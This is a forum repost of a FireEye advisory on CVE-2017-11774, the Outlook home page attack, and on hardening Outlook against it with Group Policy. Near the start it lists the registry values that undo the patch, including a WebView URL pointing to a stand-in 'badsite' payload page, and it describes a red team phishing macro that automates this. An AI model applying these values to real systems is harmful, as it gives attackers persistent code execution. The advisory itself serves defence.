Auteur Sujet: [FireEye]Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774)  (Lu 2921 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne igor51

  • Admin
  • Mega Power Members
  • *****
  • Messages: 10419
Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774)

Attackers have a dirty little secret that is being used to conduct
  big intrusions. We’ll explain how they're "unpatching" an
  exploit and then provide new Outlook hardening guidance that is not
  available elsewhere. Specifically, this blog post covers field-tested
  automated registry processing for registry keys to protect against
  attacker attempts to reverse Microsoft’s   href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11774">CVE-2017-11774
  patch functionality.


 

Despite   href="https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html">multiple
      href="https://twitter.com/ItsReallyNick/status/1014522001900306433">warnings
        href="https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf">from
  FireEye and     href="https://twitter.com/CNMF_VirusAlert/status/1146130046127681536">U.S.
    Cyber Command, we have continued to observe an uptick in
  successful exploitation of CVE-2017-11774, a client-side Outlook
  attack that involves modifying victims’ Outlook client homepages for
  code execution and persistence. The Outlook Home Page feature allows
  for customization of the default view for any folder in Outlook. This
  configuration can allow for a specific URL to be loaded and displayed
  whenever a folder is opened. This URL is retrieved either via HTTP or
  HTTPS - and can reference either an internal or external network
  location. When Outlook loads the remote URL, it will render the
  contents using the Windows DLL ieframe.dll, which can allow an
  attacker to achieve remote code execution that persists through system restarts.


 

We have observed multiple threat actors adopting the technique and
  eventually becoming a favorite for Iranian groups in support of both
  espionage and reportedly destructive attacks. FireEye first observed
  APT34 use CVE-2017-11774 in June 2018, followed by adoption by APT33
  for a significantly broader campaign beginning in July 2018 and
  continuing for at least a year. To further increase awareness of this
  intrusion vector, our     href="https://twitter.com/ItsReallyNick/status/1123285710491070464">Advanced
    Practices team worked with MITRE to     href="https://attack.mitre.org/resources/updates/updates-april-2019/index.html">update
    the ATT&CK framework to include CVE-2017-11774 home page
  persistence within     href="https://attack.mitre.org/techniques/T1137/">technique T1137 –
    “Office Application Startup”.


 

For more information on how CVE-2017-11774 exploitation works, how
  APT33 implemented it alongside password spraying, and some common
  pitfalls for incident responders analyzing this home page technique,
  see the “RULER In-The-Wild” section of     href="https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html">our
    December 2018 OVERRULED blog post.


 

Going Through a Rough Patch


 

On October 10, 2017,     href="https://support.microsoft.com/en-us/help/4011162/description-of-the-security-update-for-outlook-2016-october-10-2017">Microsoft
    released patches for Microsoft Outlook to protect against this technique.


 
  • KB4011196 (Outlook 2010)
  • KB4011178 (Outlook
      2013)
  • KB4011162 (Outlook 2016)

 

Following the mid-2018 abuse by Iranian threat actors     href="https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html">first
    detailed in our OVERRULED blog post, the FireEye Mandiant team
  began to raise awareness of how the patch could be subverted.     href="https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/douglas-bienstock">Doug
  Bienstock discussed in December 2018 that the simple roll back of
  the patch as a part of     href="https://www.fireeye.com/services/red-team-assessments.html">Mandiant’s
    Red Team operations –     href="https://twitter.com/doughsec/status/1076222018369081345">and
    alluded to observing authorized software that also automatically
    removes the patch functionality. In response to U.S. Cyber
  Command’s mid-2019 warning about APT33’s use of the exploit, we     href="https://www.darkreading.com/us-military-warns-companies-to-look-out-for-iranian-outlook-exploits/d/d-id/1335150">raised
    concern with DarkReading over the ability to override the
  CVE-2017-11774 patch without escalated privileges.


 

Without continuous reinforcement of the recommended registry
  settings for CVE-2017-11774 hardening detailed within this blog post,
  an attacker can add or revert registry keys for settings that
  essentially disable the protections provided by the patches.


 

An attacker can set a home page to achieve code execution and
  persistence by editing the WebView registry keys. The “URL” subkey
  will enable and set a home page for the specified mail folder within
  the default mailbox. Setting this registry key to a valid URL enables
  the home page regardless of the patch being applied or not. Although
  the option will not be accessible from the Outlook user interface
  (UI), it will still be set and render. Importantly, these keys are set
  within the logged-on user’s Registry hive. This means that no special
  privileges are required to edit the Registry and roll back the patch.
  The FireEye Red Team found that no other registry modifications were
  required to set a malicious Outlook homepage.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\ Outlook\WebView\Inbox
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">“URL”=
      http://badsite/homepage-persist.html

 

There are additional keys within the Registry that can be modified
  to further roll back the patch and expose unsafe options in Outlook.
  The following setting can be used to re-enable the original home page
  tab and roaming home page behavior in the Outlook UI.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\Security
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">“EnableRoamingFolderHomepages”=
      dword:00000001

 

The following setting will allow for folders within secondary
  (non-default) mailboxes to leverage a custom home page.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\Security
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">“NonDefaultStoreScript"=
      dword:00000001

 

The following setting will allow for “Run as a Script” and “Start
  Application” rules to be re-enabled.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\Security

          “EnableUnsafeClientMailRules"= dword:00000001

 

Etienne Stalmans, a developer of     href="https://github.com/sensepost/ruler">SensePost’s RULER and
  the credited responsible discloser of CVE-2017-11774,     href="https://twitter.com/_staaldraad/status/1082604336574808065">chimed
  in about similar concerns on the patch that were re-raised after
  seeing a     href="https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943">September
    2018 blog post about applying the same technique to Outlook Today’s
    home page that is stored at     class="code">HKCU\Software\Microsoft\Office\<Outlook
  Version>\Outlook\Today\UserDefinedUrl. Both Etienne and the
  September 2018 blog post’s author describe what Microsoft has
  suggested as a key mitigating factor – that the exploit and rolling
  back the patch require some form of initial access. This is consistent
  with Microsoft’s position and     href="https://blogs.technet.microsoft.com/seanearp/2007/03/25/immutable-laws-of-security/">their
    2007 immutable laws of security blog, which were reiterated when
  we contacted MSRC prior to publishing this blog post.


 

We agree that for the CVE-2017-11774 patch override vector to be
  successful, a bad guy has to persuade you to run his program (law #1)
  and alter your operating system (law #2). However, the technique is
  under-reported, no public mitigation guidance is available, and – as a
  fresh in-the-wild example demonstrates in this post – that initial
  access and patch overriding can be completely automated.


 

A Cavalier Handling of CVE-2017-11774


 

The     href="https://twitter.com/ItsReallyNick/lists/fireeye-apt">Advanced
    Practices team monitors for novel implementations of attacker
  techniques including this patch override, and on November 23, 2019 a
  uniquely automated phishing document was uploaded to VirusTotal. The
  sample, “TARA Pipeline.xlsm” (MD5: ddbc153e4e63f7b8b6f7aa10a8fad514),
  launches malicious Excel macros combining several techniques, including:


 
  • execution guardrails to only launch on the victim domain
        (client redacted in screenshot)
  • custom pipe-delimited
        character substitution obfuscation
  • a creative
        implementation of CVE-2017-11774 using the lesser-known
        HKCU\Software\Microsoft\Office\<Outlook
        Version>\Outlook\WebView\Calendar\URL registry key
  • a URL
        pointing to the payload       href="https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blob-static-website">hosted
          in Azure storage blobs (*.web.core.windows.net) – a creative
        technique that allows an attacker-controlled, swappable payload to
        be hosted in a legitimate service
  • and most importantly for
        this blog post – a function to walk through the registry and reverse
        the CVE-2017-11774 patch functionality for any version of Microsoft
      Outlook

 

These features of the malicious spear phishing Excel macro can be
  seen in Figure 1.


 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/breakingtherules/Picture1a.png" alt="" />
 
   
 Figure 1: Malicious macros automatically reverting the
    CVE-2017-11774 patch


 

Pay special attention to the forced setting of
  EnableRoamingFolderHomepages to “1” and the setup of “  class="code">Calendar\URL” key to point to an
  attacker-controlled payload, effectively disabling the CVE-2017-11774
  patch on initial infection.


 

In support of Managed Defense,     href="https://www.fireeye.com/blog/threat-research/2019/03/clustering-and-associating-attacker-activity-at-scale.html">our
    Advanced Practices team clusters and tactically attributes targeted
    threat activity – whether the intrusion operators turn out to be
  authorized or unauthorized – in order to prioritize and deconflict
  intrusions. In this case, Nick Carr attributed this sample to an
  uncategorized cluster of activity associated with authorized red
  teaming, UNC1194 , but you might know them better as the   href="https://twitter.com/TrustedSec">TrustedSec red team whose
  founder, Dave
    Kennedy, appeared on a previous episode of State of the Hack
.
  This malicious Excel file appears to be a weaponized version of a
  legitimate victim-created document that we also obtained – reflecting
  a technique becoming more common with both authorized and unauthorized
  intrusion operators. For further analysis and screenshots of UNC1194’s
  next stage CVE-2017-11774 payload for initial reconnaissance, target
  logging visibility checks, and domain-fronted Azure command and
  control –     href="https://twitter.com/ItsReallyNick/status/1199209513137688576">see
  here. Readers should take note that the automated patch removal
  and home page exploitation establishes attacker-controlled remote code
  execution and allows these [thankfully authorized] attackers to
  conduct a full intrusion by swapping out their payload remotely for
  all follow-on activity.


 

Locking Down the Registry Keys Using Group Policy Object (GPO) Enforcement


 

As established, the patches for CVE-2017-11774 can be effectively
  “disabled” by modifying registry keys on an endpoint with no special
  privileges. The following registry keys and values should be
  configured via Group Policy to reinforce the recommended
  configurations in the event that an attacker attempts to reverse the
  intended security configuration on an endpoint to allow for Outlook
  home page persistence for malicious purposes.


 

To protect against an attacker using Outlook’s WebView functionality
  to configure home page persistence, the following registry key
  configuration should be enforced.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\WebView
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">"Disable"=
      dword:00000001

 

Note: Prior to enforcing this hardening method for all endpoints,
  the previous setting should be tested on a sampling of endpoints to
  ensure compatibility with third-party applications that may leverage webviews.


 

To enforce the expected hardened configuration of the registry key
  using a GPO, the following setting can be configured.


 
  • User Configuration > Preferences > Windows Settings >
          Registry
    • New > Registry Item
      • Action:
                  Update
      • Hive: HKEY_CURRENT_USER
      • Key Path:
                    Software\Microsoft\Office\<Outlook
                      Version>\Outlook\Webview
        • Value Name:
                        Disable
      • Value Type: REG_DWORD

      •            
      • Value Data: 00000001

 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/breakingtherules/Picture2.png" alt="" />
 
 Figure 2: Disabling WebView registry setting


 

Included within the Microsoft Office Administrative
  Templates
, a GPO setting is available which can be configured to
  disable a home page URL from being set in folder properties for all
  default folders, or for each folder individually.  If set to
  “Enabled”, the following GPO setting essentially enforces the same
  registry configuration (disabling WebView) as previously noted.


 
   
     
User Configuration > Policies >
          Administrative Templates > Microsoft Outlook
          <version> > Folder Home Pages for Outlook Special
          Folders > Do not allow Home Page URL to be set in folder
      Properties

 

The registry key configuration to disable setting an Outlook home
  page via the Outlook UI is as follows.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\Security
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">"EnableRoamingFolderHomepages"=
      dword:00000000

 

To enforce the expected hardened configuration of the registry key
  using a GPO, the following setting can be configured.


 
  • User Configuration > Preferences > Windows Settings >
          Registry
    • New > Registry Item
      • Action:
                  Update
      • Hive: HKEY_CURRENT_USER
      • Key Path:
                    Software\Microsoft\Office\<Outlook
                      Version>\Outlook\Security
        • Value Name:
                        EnableRoamingFolderHomepages
      • Value
                    Type: REG_DWORD
      • Value Data: 00000000

           

 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/breakingtherules/Picture3.png" alt="" />
 
 Figure 3: EnableRoamingFolderHomepages
    registry setting


 

Additionally, a home page in Outlook can be configured for folders
  in a non-default datastore. This functionality is disabled once the
  patch has been installed, but it can be re-enabled by an
  attacker. Just like this blog post’s illustration of several different
  home page URL registry keys abused in-the-wild – including the Outlook
  Today setting from September 2018 and the Calendar URL setting from
  UNC1194’s November 2019 malicious macros – these non-default
  mailstores provide additional CVE-2017-11774 attack surface.


 

The registry key configuration to enforce the recommended registry
  configuration is as follows.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\Security
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">"NonDefaultStoreScript"=
      dword:00000000

 

To enforce the expected hardened configuration of the registry key
  for non-default mailstores using a GPO, the following setting can be configured.


 
  • User Configuration > Preferences > Windows Settings >
          Registry
    • New > Registry Item
      • Action:
                  Update
      • Hive: HKEY_CURRENT_USER
      • Key Path:
                    Software\Microsoft\Office\<Outlook
                      Version>\Outlook\Security
        • Value Name:
                        NonDefaultStoreScript
      • Value Type:
                  REG_DWORD
      • Value Data: 00000000

     

 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/breakingtherules/Picture4.png" alt="" />
 
 Figure 4: NonDefaultStoreScript registry setting


 

Included within the previously referenced Microsoft Office
  Administrative Templates, a GPO setting is available which can be
  configured to not allow folders in non-default stores to be set as
  folder home pages.


 
   
     
User Configuration > Policies >
          Administrative Templates > Microsoft Outlook
          <version> > Outlook Options > Other > Advanced
          > Do not allow folders in non-default stores to be set as
          folder home pages

 

While you’re locking things down, we thought that readers would also
  want to ensure they are locked down against RULER’s other modules for
        href="https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/">rules-based
  persistence and     href="https://sensepost.com/blog/2017/outlook-forms-and-shells/">forms-based
  persistence. This last recommendation ensures that the rule types
        href="https://github.com/sensepost/ruler/issues/35#issuecomment-299695731">required
    by the other RULER modules are no longer permissible on an
  endpoint. While not CVE-2017-11774, this is closely related and this
  last setting is consistent with     href="https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/">Microsoft’s
    prior guidance on rules and forms persistence.


 

The registry key configuration to protect against an attacker
  re-enabling “Run as a Script” and “Start Application” rules is as follows.


 
   
     
          class="code">HKEY_CURRENT_USER\Software\Microsoft\Office\<Outlook
          Version>\Outlook\Security\
 
                  style="background-color: rgb(255,255,255);font-family: "Courier New" , Courier , monospace;">"EnableUnsafeClientMailRules"=
      dword:00000000

 

To enforce the expected hardened configuration of the registry key
  using a GPO, the following setting can be configured.


 
  • User Configuration > Preferences > Windows Settings >
          Registry
    • New > Registry Item
      • Action:
                  Update
      • Hive: HKEY_CURRENT_USER
      • Key Path:
                    Software\Microsoft\Office\<Outlook
                      Version>\Outlook\Security
        • Value Name:
                        EnableUnsafeClientMailRules
      • Value
                    Type: REG_DWORD
      • Value Data: 00000000

           

 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/breakingtherules/Picture5.png" alt="" />
 
 Figure 5: EnableUnsafeClientMailRules
    registry setting


 

Once all of aforementioned endpoint policies are configured – we
  recommend a final step to protect these settings from unauthorized
  tampering. To ensure that the registry settings (configured via GPO)
  are continuously assessed and applied to an endpoint – even if the
  registry value was intentionally reversed by an attacker – the
  following GPO settings should also be configured and enforced:


 
  • Computer Configuration > Policies > Administrative
        Templates > System > Group Policy > Configure security
        policy processing
    • Enabled - Process even if the Group Policy
              objects have not changed
  • Computer
        Configuration > Policies > Administrative Templates >
        System > Group Policy > Configure registry policy
          processing
    • Enabled - Process even if the Group Policy
              objects have not changed

 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/breakingtherules/Picture6.png" alt="" />
 
 Figure 6: Group Policy processing settings


 

For more environment hardening advice informed by front-line
  incident response, reach out to our     href="https://www.fireeye.com/services.html">Mandiant Security
    Transformation Services consulting team.


 

Let’s Go Hunt (doo doo doo)


 

With this blog post, we’re providing an IOC for monitoring
  CVE-2017-11774 registry tampering – while written for FireEye Endpoint
  Security (HX) in the     href="https://github.com/mandiant/OpenIOC_1.1">OpenIOC 1.1
  schema, this is a flexible behavioral detection standard that
  supports real-time and historical events and the logic can be
  repurposed for other endpoint products.


 

The Yara hunting rule provided by Nick Carr     href="https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html">at
    the end the OVERRULED blog post still captures payloads using
  CVE-2017-11774, including all of those used in intrusions referenced
  in this post, and can also be used to proactively identify home page
  exploits staged on adversary infrastructure. Further FireEye product
  detection against CVE-2017-11774 is also covered in the OVERRULED blog post.


 

If you’ve read the OVERRULED post (or are tired of hearing about it)
  but want some additional information, we recommend:


 
 

Interesting MITRE ATT&CK techniques explicitly referenced in
  this blog post:


 
   
     
   
     
   
     


          ID


          Technique


          Context


                  href="https://attack.mitre.org/techniques/T1137/">T1137


     

Office Application
        Startup

Nick Carr
          contributed CVE-2017-11774 on behalf of FireEye for expansion
          of this technique


                  href="https://attack.mitre.org/techniques/T1480/">T1480


     

Execution Guardrails


     

Nick Carr contributed this
          new technique to MITRE ATT&CK and it is used within the
          UNC1194 red team sample in this blog post


 

Acknowledgements


 

The authors would like to acknowledge all of those at FireEye and
  the rest of the security industry who have combatted targeted
  attackers leveraging creative techniques like home page persistence,
  but especially the analysts in     href="https://www.fireeye.com/solutions/managed-defense.html">Managed
  Defense SOC working around the clock to secure our customers and
  have disrupted this specific attack chain several times. We want to
  thank the SensePost team – for
  their continued creativity, responsible disclosure of CVE-2017-11774,
  and their defensive-minded release of   href="https://github.com/sensepost/notruler">NotRuler – as well as
  the TrustedSec crew for
  showing us some innovative implementations of these techniques and
  being great to coordinate with on this blog post. Lastly, thanks to
  Aristotle who has already offered what can only be interpreted as
  seasoned incident response and hardening advice for those who have
  seen RULER’s home page persistence in-the-wild: “He who is to be a
    good ruler must have first been ruled.”


Source: Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774)

Tags: